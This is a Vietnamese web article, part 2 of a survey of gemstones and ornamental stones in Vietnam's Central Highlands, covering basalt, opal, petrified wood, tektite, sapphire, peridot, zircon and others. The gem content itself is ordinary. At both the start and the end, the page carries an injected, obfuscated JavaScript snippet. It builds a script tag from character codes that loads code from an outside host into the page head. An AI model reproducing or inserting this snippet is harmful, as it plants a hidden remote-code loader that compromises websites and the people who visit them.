Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();
Đá quý tại Tây Nguyên

Tổng quan về đá quý, đá bán quý khu vực Tây Nguyên (phần 2)

Các loại đá quý tại Tây Nguyên

Các đá trầm tích

Đá carbonat

Mặc dù chúng không phổ biến trên ở thổ nhưỡng các tỉnh Tây Nguyên, song ở những khu vực lộ các đá này đều có giá trị sử dụng để chế tác các sản phẩm mỹ nghệ trong đó đáng quan tâm nhất là các điểm đá vôi hoa hóa ở khu vực Gia Ly và Đắk Gom.

Đá carbonat tập trung tại Gia Ly (xã H Bông, huyện Chư Sê), chúng chủ yếu tồn tại dưới dạng các tập dày hoặc thấu kính nằm chỉnh hợp với các đá phiến thạch anh – sericit, quarzit dạng phân dải của hệ tầng Chư Sê. Đá hầu hết bị hoa hóa và silic hóa mạnh, vết vỡ dạng vỏ sò, có cấu tạo đặc trưng bởi các dải màu trắng, màu đen, màu xám nhạt phân bố song song uốn lượn tạo cho đá có độ thẩm mỹ cao phù hợp cho điêu khắc, chế tác đồ lưu niệm, vật trang trí,… Chúng không hề thua kém loại đá hoa sọc dải ở các điểm Châu Hạnh (Quỳ Châu), Bồng Khê (Con Cuông) Nghệ An, thôn Hoa (Nam Giang) Quảng Nam. Hiện nay chúng đang được một số doanh nghiệp khai thác với khối lượng lớn chủ yếu để sản xuất đá xây dựng, đá rải đường.

Các đá carbonat ở khu vực Đắk Gom, xã Đắk Pne, huyện Kon Rẫy (Kon Tum) chủ yếu tồn tại dưới dạng các chỏm núi nhỏ hoặc thành các tập lớn, các thấu kính,… nằm xen với các đá quarzit sericit, phiến thạch anh-sericit, đá phiến sét thuộc phân hệ tầng trên của hệ tầng Đắk Long. Đá hầu hết bị hoa hóa và đolomit hóa, nét nổi bật của chúng là các tinh thể canxit trắng đục dạng que, dạng kim dài phân bố dạng dòng chảy, dạng chùm, tỏa tia nổi lên trên nền sọc dải màu đen xám tối tạo cho đá có cấu trúc khá đặc sắc, có thể sử dụng để chế tác các mặt hàng mỹ nghệ, trang lát và trang trí khác nhau rất có giá trị thẩm mỹ.

Xem thêm: Phát hiện mới về “đá tím jadeite”

Đá trầm tích lục nguyên

Các đá trầm tích lục nguyên có diện phân bố rất rộng lớn trong khu vực Tây Nguyên, bao gồm nhiều hệ tầng có tuổi thành tạo khác nhau, nhưng có giá trị sử dụng nhất là các đá cát bột kết, phiến sét của hệ tầng La Ngà .

Hình 3: Đá Gobro núi Ngọc Hồi có màu xanh đen đặc sắc

Các đá của hệ tầng thường có màu xanh lục, lục nhạt, hạt mịn, kết khối rất tốt có thể so sánh với các đá cát bột kết của hệ tầng Khe Rèn ở khu vực Đại Chánh, Đại Lộc, Quảng Nam. Đây là nơi đã được khai thác với khối lượng khá lớn để cung cấp cho làng đá Non Nước chế tác các mặt hàng mỹ nghệ rất ấn tượng. Đồng thời đây cũng là loại đá được vương quốc Chăm Pa khai thác để xây dựng đền đài, chế tác các vật tế lễ cách đây hàng chục thế kỷ hiện vẫn còn tồn tại nguyên vẹn trong thánh địa Mỹ Sơn.

Xem thêm: Benitoite –Viên đá quý bí ấn

Các đá magma xâm nhập

Các thành tạo magma xâm nhập thuộc nhiều phức hệ khác nhau có diện phân bố rất rộng lớn ở khu vực Tây Nguyên.

Các đá của phức hệ Núi Ngọc có thành phần chủ yếu là pyroxenit, gabro pyroxenit, gabronorit,… gồm có các khối Sa Nghĩa (thuộc huyện Sa Thầy, Kon Tum) và các khối nhỏ lộ ra dọc tuyến đường mới mở Plei Cần đi cửa khẩu Pơ Y; các khối khu vực dãy Chư M rô (thuộc huyện Krông Pa, Gia Lai) .

Hình 4: Đá granit Vân Canh

Đá thường có màu xanh đen, xanh lục chứa các tinh thể pyroxen, amphibol màu đen hình que dài cấu tạo dạng dòng chảy, dạng chùm, tỏa tia nổi lên trên nền màu trắng đục phớt lam nhạt của tập hợp feldspar và ít hạt thạch anh. Khi cắt xẻ vuông góc hoặc theo hướng phát triển của các tấm tinh thể pyroxen, amphibol dạng que đều tạo cho tấm đá có cấu trúc rất đặc sắc với hoa văn khác nhau. Hầu hết đá thuộc phức hệ này có độ nguyên khối rất tốt, khối lượng lớn, có thể khai thác để sản xuất các mặt hàng trang lát, trang trí hoặc chế tác các mặt hàng mỹ nghệ rất có giá trị..

Các đá biến chất

Các đá biến chất có nhiều chủng loại lộ ra với khối lượng khá nhiều ở các khu vực khác nhau trên địa bàn các tỉnh Tây Nguyên, song đáng quan tâm nhất là biến loại sau đây:

Đá phiến thạch anh, phiến actinolitepiđot thuộc hệ tầng Đắc Long  lộ ra ở khu vực Pơ Y. Đá có độ rắn chắc cao, độ liền khối rất tốt, bị nén ép phân phiến ngoằn ngoèo giữa các lớp màu trắng đục của các tinh thể feldspar xen các lớp màu đen của biotit, amphibol tạo cho đá có cấu tạo rất ấn tượng . Nhiều chỗ còn quan sát thấy đá có cấu trúc kiểu mắt rồng, được tạo bởi các hạt feldspar kích thước lớn xen kẹp trong các dải biotit, amphibol. Với các cấu kiến trúc đặc sắc như vậy, đá ở điểm lộ này rất có giá trị dùng để sản xuất đá ốp lát cao cấp, chế tác các sản phẩm mỹ nghệ không thua kém các đá nhập ngoại.

Hình 5: Đá biến chất hệ actinolit-epiđot

Đá phiến thạch anh biotit – horblend, gneisbiotit thuộc hệ tầng Sông Re xuất hiện ở khu vực Đắk Ma, Đắk Glei. Chúng có cấu tạo rất đặc sắc, điển hình là loại có các dải thạch anh, biotit, amphibol xen kẽ uốn lượn nhấp nhô như các dải núi, với đặc trưng này đá có thể dùng để chế tác các bức tranh, mặt bàn ghế tựa giả cổ hoặc chế tác thành dạng thạch cảnh trưng bày rất có giá trị

Đá basalt

Tây Nguyên được biết đến như địa danh của một vùng đất basalt và chính basalt là biểu tượng của cao nguyên này. Với nhiều đợt phun trào khác nhau đã để lại nhiều chủng loại khác nhau, nhưng có giá trị nhất là loại basalt dạng cột.

Basalt cột có mặt ở hầu hết các địa phương của Tây Nguyên, nhiều nhất là ở các tỉnh Gia Lai (các xã Đắk T Ma, Kon Giang, Nước Pit,…), Đắk Nông (các xã Đắk Lao, Nhân Đạo, Kiến Thành…), nhưng ít hơn ở Kon Tum, Đắc Lắk và Lâm Đồng.

Những cột đá kỳ lạ như được chôn đứng sát nhau dưới đất, cách mặt đất chỉ khoảng hai gang tay. Bóc lớp đất mặt ra là gặp đá đứng,… chờ với kích thước dao động 1,5-2m, thậm chí có cột cao 3-3,5m , đường kính các cột 50-80cm. Các cột đá có tiết diện hình lục giác xếp gần khít nhau, giữa chúng được ngăn cách bởi một lớp vật liệu bở rời, vì vậy việc khai thác các cột basalt này rất tiện lợi, chỉ việc ngoắc cáp vào và kéo là những phiến đá to dài như cây gỗ, phẳng phiu, từ từ ngã ra và đưa lên xe xuất bến.

Ngoài ra, ở một số nơi còn gặp đá basalt có kích thước các cột nhỏ xoắn chặt vào nhau thành các cột lớn hơn rất kỳ dị, điển hình như ở khu vực Đray Sáp, xã Đắk Sor thuộc huyện Krông Nô (Đắk Nông), các cột đá ở đây có thể sử dụng trực tiếp để làm thạch cảnh trưng bày nơi công cộng hoặc tư gia rất ấn tượng, kỳ thú.

Đá opal-chalcedon, agate

Hàng triệu năm về trước, vùng Tây Nguyên ngày nay đã bị những dòng lũ dung nham basalt tràn ngập và quá trình “lũ” kinh hoàng đó kéo dài cho đến tận nửa triệu năm gần đây mới chấm dứt. Sau những đợt phun trào đó, dung nham đông cứng lại trên nhiều vùng thuộc Kon Tum, Đắk Lắk, Gia Lai, Đăk Nông, Lâm Đồng. Đây là loại đá rất cứng, nhiều khi có vân hoa rất đẹp, không bị phá hủy bởi những điều kiện thông thường, rất phù hợp để chế tác thành các tác phẩm nghệ thuật trưng bày, thạch cảnh,…

Trên địa bàn Tây Nguyên, loại khoáng sản này gặp nhiều ở các tỉnh Gia Lai, Đắk Nông và Lâm Đồng. Trên địa bàn tỉnh Gia Lai đá opal – chalcedon phân bố ở nhiều nơi như: Kannak, Ia Mơ, Ia Đrăng, Chư Sê, Chư PưH, Phú Thiện, Mang Yang, An Khê, Đắk Đoa,… với tổng số gần 30 điểm (Sổ mỏ và điểm quặng tỉnh Gia Lai, 1994), song đáng quan tâm nhất là các điểm Gia Ly (xã H Bông), các điểm ở xã Ia H Rú thuộc huyện Chư Sê và các điểm ở khu vực xã Chư A Thai huyện Phú Thiện.

Opal có nhiều màu sắc như xanh nhạt, vàng, nâu cánh dán, vàng chanh, nâu đỏ, đen, nâu đen,… Opal ở khu vực Gia Ly phân bố rải rác ở các chỏm núi, nằm dưới lớp thổ nhưỡng chừng 20 – 30cm, opal ở điểm lộ này có dạng khối tảng góc cạnh kỳ dị kích thước lớn nhỏ khác nhau, có tảng đạt kích thước gần 1m3 (chủ yếu là loại opal màu đen lẫn nàu vàng). Do có kích thước khá lớn nên opal ở đây có thể chế tác các thành các đồ mỹ nghệ theo các chủ đề khác nhau. Ở các điểm còn lại hầu hết có kích thước nhỏ, nứt nẻ nhiều, ít có giá trị sử dụng.

Hình 6: Đá Opal thô

Opal – chalcedon có giá trị nhất, với đủ các gam màu chỉ gặp ở Đắk Nông. Trong địa phận các huyện Đắk Min và Cư Jut có nhiều điểm lộ đá opal- chalcedon có giá trị thương phẩm, trong đó phải kể đến điểm xóm 2, thôn Tân Định, Đắk Gằn (Đắk Min), thôn 2, xã Cư Knia (Cư Jut). Ở các điểm lộ này quan sát thấy opal phân bố chủ yếu trong tầng basalt bọt khá vụn bở, opal ở đây rất đa dạng về màu sắc như: trắng ngà loang lổ, xanh ngọc bích, xanh lam đậm, vàng đốm xanh,… trong đó màu xanh đậm, vàng cam chiếm tỉ lệ khá lớn. Opal có nhiều màu sắc như vậy hiện vẫn còn là một điều bí ẩn chưa giải đáp được.

Tại các điểm trên, trước đây người ta đã khai thác được nhiều khối tảng kích thước lớn nhiều khi tới hàng tấn hoặc hàng chục tấn và chúng được chế tác thành những tác phẩm nghệ thuật rất độc đáo. Hiện các loại đá này được bán tại chỗ với giá từ vài chục nghìn đồng đến hàng trăm nghìn đồng/kg. Nhiều khối đá lớn, có màu sắc và hình thù đẹp có giá lên tới hàng tỷ đồng.

Trong những năm gần đây một khối lượng lớn đá opal Tây Nguyên đã được khai thác và sử dụng làm mẫu trưng bày, đá phong thuỷ, sản phẩm được bày bán ở hầu hết các tỉnh thành trong nước.

Gỗ hóa đá

Loại khoáng sản này khá hiếm trên địa bàn Tây Nguyên. Hiện tại mới chỉ thấy chúng có mặt ở tỉnh Gia Lai và Lâm Đồng. Tại Chư A Thai (huyện Phú Thiện) gỗ hóa đá phân bố rải rác trong khu vực rộng chừng 1km2 , chủ yếu trên các triền núi Chư A Thai, chúng có các màu nâu, đỏ nâu, trắng xám hoặc xám đen, rắn, dòn còn nguyên hình các thớ gỗ hoặc các gân mạch xù xì của thân cây trước kia. Ở điểm lộ này đã có người đào được cây hóa đá dài hàng mét.

Hình 7: Gỗ hóa thạch

Chúng nằm rải rác ven con suối nhỏ ranh gới giữa 2 xã Ia Le và Ia B Lứ. Loại có kích thước lớn đã bị khai thác cạn kiệt, ở đây chỉ còn các loại kích thước nhỏ ít có giá trị sử dụng. Ngoài ra ở các khu vực đông và đông nam đỉnh 192 xã Ia Lâu (huyện Chư Prông) cũng lộ cây hóa đá, do dân phát hiện, song những loại có kích thước lớn cũng đã bị khai thác gần cạn kiệt. Gỗ hóa đá chủ yếu đều do dân khai thác tự phát và buôn bán trôi nổi trên thị trường, cho các cơ sở chế tác thành các vật trang trí, tạc tượng,… hiện tại các hàng đá mỹ nghệ được chế tác từ cây hóa đá được bày bán nhiều nơi ở các tỉnh thành trên Tây Nguyên với giá không hề rẻ.

Đá thạch anh

Loại hình khoáng sản này chỉ phân bố một số nơi trên địa bàn các tỉnh Tây Nguyên, chúng tồn tại dưới dạng khối tảng và dạng các tinh thể và có các màu sắc khác nhau. Đối với thạch anh dạng khối tảng, loại có màu hồng chỉ có mặt ở Đắk Lắk, còn ở Lâm Đồng chỉ gặp loại có màu trắng. Trên địa phận tỉnh Đắk Lắk, thạch anh hồng có trữ lượng lớn và có giá trị sử dụng nhất chủ yếu phân bố ở huyện Lắk và Krông Bông. Ở huyện Lắk, thạch anh hồng lộ ra dưới dạng các mạch có kích thước lớn xuyên cắt các đá granit, granosyenit phức hệ Đèo Cả, điển hình nhất là ở khu vực xã Yang Tao và địa phận làng Tân Juk xã Krông Nô. Ở huyện Krông Bông mạch thạch anh hồng lộ ra ở xã Yang Reh trên một bãi khá bằng phẳng rộng chừng 3ha ngay sát QL 27. Tại Lâm Đồng, thạch anh dạng khối tảng có mặt ở thôn 7, xã Đạ Kho (Đạ Te H) trước đây đã được khai thác làm thạch cảnh. Hầu hết thạch anh dạng khối tảng ở các điểm lộ nêu trên đều có chất lượng như nhau, đá thường bị nứt dăm nhưng chúng có kết cấu rất chắc chắn, vì thế tùy theo kích cỡ khối đá có thể chế tác thành các mặt hàng mỹ nghệ, trang trí, trưng bày khác nhau rất có giá trị, đặc biệt là loại màu hồng.

Đá quý, đá bán quý khu vực Tây Nguyên - Đá thạch anh
                                           Đá quý, đá bán quý khu vực Tây Nguyên – Đá thạch anh

Cư Yang huyện Ea Kar, thượng nguồn suối Ea Kul và Ea Bal thuộc xã Cư KLông, huyện Krông Năng (Đắc Lắk), vùng Phú Sơn (Lâm Hà, Lâm Đồng). Hầu hết các viên đá cấu tạo hình trụ, hình sao. Loại thạch anh đen (morion), ám khói có mặt ở Lộc Tân (Bảo Lâm, Lâm Đồng). Loại thạch anh màu tím hoặc ám khói gặp ở Ia Rbol (Ayun Pa) và xã Bình Giáo (huyện Chư Prông), kích thước tinh thể dày 1 – 2cm dài 1-4cm, trong suốt phần chóp, chứa nhiều bọt, màu tím hoặc ám khói. Thạch anh tinh thể trên địa bàn Tây Nguyên, với loại trong suốt, màu tím, ám khói, dạng tóc,… hiện đã được dùng để chế tác các mặt hàng trang sức như mặt nhẫn, vòng tay, vòng đeo cổ rất có giá trị.

Hình 9: Thạch anh hồng dạng thô

Với đặc tính cứng, màu sắc đẹp, đá thạch anh được sử dụng để chế tác các mặt hàng trang sức, mỹ nghệ và trưng bày cao cấp khác nhau.

Tektit

Tektit có nhiều màu sắc: đen, xanh lá cây, nâu, xám,… có nguồn gốc vũ trụ (mặc dù hiện vẫn còn tranh cãi về nguồn gốc). Trên địa bàn các tỉnh Tây Nguyên, tektit được phát hiện nhiều nơi ở Kon Tum, Gia Lai, Đắk Nông, Lâm Đồng. Ở Gia Lai tektit gặp nhiều ở huyện Krông Pa, Đắk Nông bắt gặp nhiều ở Đắk Song, Tuy Đức, còn Lâm Đồng gặp nhiều nhất ở khu vực Đại Lào (Bảo Lộc). Hầu hết tektit có kích thước dao động từ rất nhỏ (vài gram) cho đến 50-100g.

Hình 10: Tektit dạng thô màu đen

Tektit có nhiều hình dạng khác nhau như dạng khí động học, giọt nước, dạng cầu dẹt, đĩa, đôi khi có dạng kỳ dị, hầu hết đều có màu đen, bề mặt rỗ do bọt khí vỡ ra trong quá trình lao xuống địa cầu.

Hình 11: Tektit thô và chế tác màu xanh rêu

Do tektit có thành phần đồng nhất, tinh khiết, kiệt nước (<0,02% H2O) đều màu trong một biến thể vì vậy chúng được dùng để chế tác mặt hàngtrang sức rất có giá trị , giá cả không hề rẻ, hoặc được dùng làm vật trưng bày.

Fluorit

Trên địa bàn Tây Nguyên fluorit chỉ có mặt ở một số nơi, song có lẽ chúng phân bố và được khai thác nhiều nhất tại khu vực xã Ia Le, huyện Chư PưH (Gia Lai). Fluorit ở điểm lộ này thường có màu xanh lục, tím hồng, đỏ tía hoặc trắng đục,… đến xanh mực, lục nhạt, tím nhạt hoặc các màu xen kẽ nhau. Kích thước các tinh thể nhiều khi tới 10cm, từ bán trong suốt tới đục. Hiện tại fluorit ở đây chủ yếu được khai thác để làm chất độn cho sản xuất thép, song có thể lựa chọn sử dụng chúng để chế tác thành các mặt hàng khác nhau. Loại trong suốt có thể mài facet để sản xuất hàng trang sức, còn lại các loại khác có thể dùng để làm tranh đá quý hoặc dùng để làm thạch cảnh, vật trưng bày cũng rất có giá trị.

Hình 12: Flourit dạng thô màu xanh

Saphire, ruby

Trên địa bàn Tây Nguyên các điểm mỏ saphir được phát hiện rộng rãi tại các tỉnh Đắk Nông, Lâm Đồng. Cá biệt saphir vùng Di Linh có mặt trên địa bàn các xã Tiên Cô và Bình Điền, được phát hiện vào những năm 1991.

Hình 13: Ruby thô

Saphir trong basalt ở Tây Nguyên thường có dạng lăng trụ, lăng trụ tháp hoặc lăng trụ tháp cụt lục phương, phổ biến dạng mảnh vỡ hoặc dạng hạt (ảnh 18), chúng phân bố chủ yếu trong các tầng phong hoá của đá basalt. Tại Đắk Nông thường bắt gặp những tinh thể có kích thước khá lớn, đường kính nhiều khi đến 30-40mm, chúng thường có màu lam đậm (nhiều khi tới đen), một số màu khác cũng hay gặp như lục, lục lam hoặc lam lục, lục vàng, vàng. Tại Tiên Cô còn gặp loại saphire màu vàng mật ong. Về độ tinh khiết có thể từ trong suốt đến đục, tỷ lệ loại trong suốt thường thấp khoảng 10-15%, còn phần lớn chúng là loại không có chất lượng ngọc. Mặc dù kích thước tinh thể lớn nhưng độ trong suốt rất kém và do vậy không thích hợp cho sản xuất hàng trang sức. Hiện nay, dân địa phương chỉ còn khai thác ở khu vực mỏ Đắk Tôn (xã Trường Xuân, huyện Đắk Song, tỉnh Đắk Nông). Lượng saphir khai thác được không nhiều và chủ yếu vẫn là loại chất lượng thấp. Sản phẩm khai thác được thường bán cho mục đích sản xuất tranh đá quý hoặc bán cho các thương nhân Thái Lan để xử lý nhiệt.

Cùng Jade House tìm hiểu thêm về Ruby tại đây.

Hình 14: Saphire thô

Ngoài saphire là loại đá quý khá phổ biến, tại các khu vực Ea H leo, Đơn Dương, Vân Hoà còn phát hiện được các hạt ruby có kích thước nhỏ, màu đỏ hồng, hồng, da cam. Ruby ở đây có màu khá đẹp độ trong suốt tương đối cao, tuy nhiên kích thước hạt bé nên không thích hợp để làm đồ trang sức.

Peridot

Trước đây peridot được khai thác chủ yếu tại hai mỏ Hàm Rồng và Biển Hồ. Chúng thường có màu lục olive tới màu lục vàng, trong suốt, với kích thước tinh thể nhiều khi đạt tới 2 4 4cm, nhưng loại thường gặp nhất là từ 0,6 đến 1,5cm, được dùng để chế tác hàng trang sức. Ngoài ra, peridot có chất lượng khá tốt còn gặp ở khu vực Chư H rông và hồ Ia Băng (Đắk Đoa) . Trong sa khoáng, peridot thường có độ rạn nứt cao, tỷ lệ sử dụng để sản xuất hàng trang sức khoảng 15-20%, số còn lại thường có kích thước nhỏ hoặc rạn nứt mạnh.

Hình 15: Đá peridot dạng thô

Mặc dù peridot có kích thước nhỏ (chỉ từ 1 đến 2mm hiếm khi 3-5mm) nhưng cũng khá trong suất, còn gặp rất nhiều dưới dạng các ổ khu trú trong các hốc bọt khí của đá basalt, với nhiều màu sắc như vàng chanh, xanh lá cây, lục xám,… nhưng hay bị nứt nẻ

Đối với các tinh thể đạt chất lượng ngọc và kích thước đủ lớn dùng để chế tác thành mặt hàng trang sức, còn lại các hạt nhỏ, nứt nẻ có thể sử dụng để sản xuất tranh đá quý.

Granet

Loại đá bán quý này phân bố rải rác ở nhiều nơi trên địa bàn các tỉnh Tây Nguyên với khối lượng khá nhiều, song đáng quan tâm nhất là các điểm Ia Kriêng, huyện Đức Cơ và điểm H Bông, huyện Chư Sê (tỉnh Gia Lai). Granet có lẫn zircon có mặt ở khu vực Chư H Đông, Tp. Pleiku, quặng nằm trong lớp cuội sạn, sỏi lẫn cát, sét ở phần đáy của thềm, kích thước hạt 2-5mm, hàm lượng quặng thấp, dao động 180-334g/m3 . Ngoài ra, granat còn gặp với khối lượng khá nhiều phân bố dọc theo suối Đắk Tơ Can trên địa phận các xã Đắk Ong và Đắk Chum, huyện Tu Mơ Rông, dọc các con suối Đắk Long, Đắk Mon huyện Đắk Glei (Kon Tum),… Granet với màu đỏ nhạt, đỏ nâu khá trong suốt nhưng kích thước nhỏ chỉ phù hợp cho sản suất tranh đá quý.

 Hình 16: Đá granet thô

Zircon

Zircon có số lượng khá nhiều trong các sa khoáng liên quan tới basalt và chúng thường đi kèm với saphir phân bố trên địa phận các tỉnh Kon Tum, Đắk Lắk, Gia Lai, Lâm Đồng. Zircon thường không màu, hoặc có màu nâu nhạt, đỏ nâu, cam nhạt và đôi khi có màu vàng nhạt. Loại kích thước nhỏ có độ trong suốt thường cao hơn loại kích thước lớn. Đa số các tinh thể thường gặp có kích thước từ 0,2cm đến 1,5cm. Loại có độ trong suốt tốt có thể dùng để chế tác hàng trang sức, còn lại dùng để phối hợp với các khoáng vật khác để sản xuất tranh đá rất có giá trị.

Hình 17: Đá Zircon thô

Corindon

Trên địa bàn Tây Nguyên corindon phân bố ở nhiều nơi, song có lẽ giá trị nhất là corindon ở khu vực tiếp giáp gữa các xã Ea Đar và Ea Knốp (huyện Ea Kar, Đắk Lắk), corinđon được tìm thấy trong các mạch pegmatit xuyên chỉnh hợp vào đá phiến kết tinh hệ tầng Đắc Mi. Tại khu vực này dân đã thu được các tinh thể corindon với nhiều kích cỡ khác nhau từ một vài cm đến hàng chục cm, đá có màu xanh, vân sọc. Đây là điểm lộ corindon rất có triển vọng nhưng chưa được điều tra nghiên cứu kỹ.

Hình 18: Đá Corindon thô

Các loại khác

Có thể nói, trên địa bàn Tây Nguyên còn nhiều nguyên liệu có thể dùng để chế tác các hàng mỹ nghệ, trang trí và trưng bày mà hiện nay chưa được quan tâm nghiên cứu để sử dụng. Trong bài viết này chúng tôi muốn nói đến loại đá “mồ côi” có bề mặt lì nhẵn, cực kì rắn chắc (tương tự như loại đá corundit có mặt ở Châu Thành, huyện Quỳ Hợp, Nghệ An tồn tại dưới dạng các tảng lăn (ảnh 20) phân bố trong tầng phong hóa đá basalt, phủ trực tiếp lên các thân quặng kaolin ở khu mỏ Lộc Châu, Bảo Lộc (Lâm Đồng). Quan sát ngoài thực tế cho thấy các tảng lăn có thành phần gồm hematit màu nâu đỏ, limonit màu đen nâu và sericit, tập hợp này xen kẽ nhau dưới dạng các dải mỏng uốn lượn nhấp nhô đặc sắc. Ngoài ra, trong khối đá còn chứa lác đác các đốm vết màu trắng đục của khoáng vật feldspar, tạo cho chúng có cấu tạo rất ấn tượng, có thể sử dụng trực tiếp làm đá trưng bày, thạch cảnh hoặc chế tác thành các mặt hàng mỹ nghệ khác nhau rất có giá trị. Hiện tại các khối tảng đá này đang được gom đống lại trong quá trình bóc lớp phủ để khai thác quặng kaolin với số lượng khá lớn ở mỏ Lộc Châu

Kết luận

Các tỉnh Tây Nguyên có nguồn nguyên liệu đá, khoáng chất rất đa dạng và phong phú, bao gồm các nhóm đá như trầm tích (trầm tích sinh hóa, trầm tích lục nguyên), magma, biến chất; các loại đá quý (ruby, saphir), đá bán quý (opal, calcedoan, agat, gỗ hóa đá, tektit và các loại khoáng vật quý khác như thạch anh, peridot, granat, zircon, fluorit,…), chúng là nguồn tài nguyên quý hiếm dùng để sản xuất và chế tác các sản phẩm mỹ nghệ cũng như làm hàng trang sức, trang trí, ốp lát, thạch cảnh, trưng bày,… Quá trình nghiên cứu cho thấy các chủng loại đá, nguyên liệu khoáng có mặt trong địa bàn các tỉnh Tây Nguyên đều đáp ứng được yêu cầu bền chắc về đặc tính cơ lý; màu sắc và họa tiết đẹp về mỹ thuật.

Trong những năm gần đây tốc độ phát triển xây dựng ở nước ta nói chung và ở khu vực Tây Nguyên nói riêng là rất lớn và trong tương lai còn phát triển mạnh hơn nữa. Nhiều công trình xây dựng cao cấp đòi hỏi phải có sản phẩm đá ốp lát chất lượng cao. Ở Tây Nguyên các biến loại đá như granitoit, gabro, basalt,… đều đáp ứng được đầy đủ các nhu cầu đó, đặc biệt là các đá này có trữ lượng rất lớn, đảm bảo cho khai thác lâu dài. Lợi thế của những khu vực phổ biến các biến các loại đá này lại thường dễ dàng tiếp cận để khai thác. Đây là nguồn tài nguyên rất quý đối với các tỉnh Tây Nguyên, nếu như chúng được đầu tư khai thác và sử dụng đúng hướng, đúng mục đích sẽ giúp cho các tỉnh Tây Nguyên có thế mạnh để phát triển kinh tế.

Đối với những loại đá quý, bán quý có giá trị cao cần được chế tác để làm hàng xuất khẩu và làm hàng trang sức, số không đạt làm hàng trang sức và xuất khẩu sẽ tận dụng để làm tranh đá quý và sản xuất các sản phẩm mỹ nghệ khác (các mảnh vụn, các viên đá quý nhỏ). Điều này sẽ tạo ra một lượng lớn công ăn việc làm cho người lao động, không những tận dụng được nguồn tài nguyên quý giá mà còn mang lại một hiệu quả kinh tế cao, tiến tới hình thành một ngành nghề mới trong tương lai, rất mới lạ – nghề sản xuất tranh đá quý, sản phẩm rất đặc sắc của Việt Nam mà hiện nay ở một số tỉnh miền Bắc đã có thương hiệu.

Xem thêm tại Jade House Việt Nam (www.jadehousevn.com) để cập những bài viết hữu ích!

Xem thêm:

Tổng quan về đá quý, đá bán quý khu vực Tây Nguyên (phần 1)

Đá cũng biết thở và đi

Bảo vệ xe bằng năng lượng của đá quý

Benitoite – Viên đá quý bí ẩn

Nữ hoàng đá quý – Ngọc lục bảo (Emerald)

Chuyến đi đến vùng đất ngọc

Phát hiện mới về “đá tím jadeite”

Đá phong thủy thiên nhiên dành cho mẹ và bé

Một số phương pháp kiểm định đá quý

Đá quý trong công nghiệp chế tác trang sức, và công nghiệp

Đá quý và năng lượng chữa bệnh

10 loại đá quý có giá trị nhất trên thế giới

Benitoite –Viên đá quý bí ấn

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();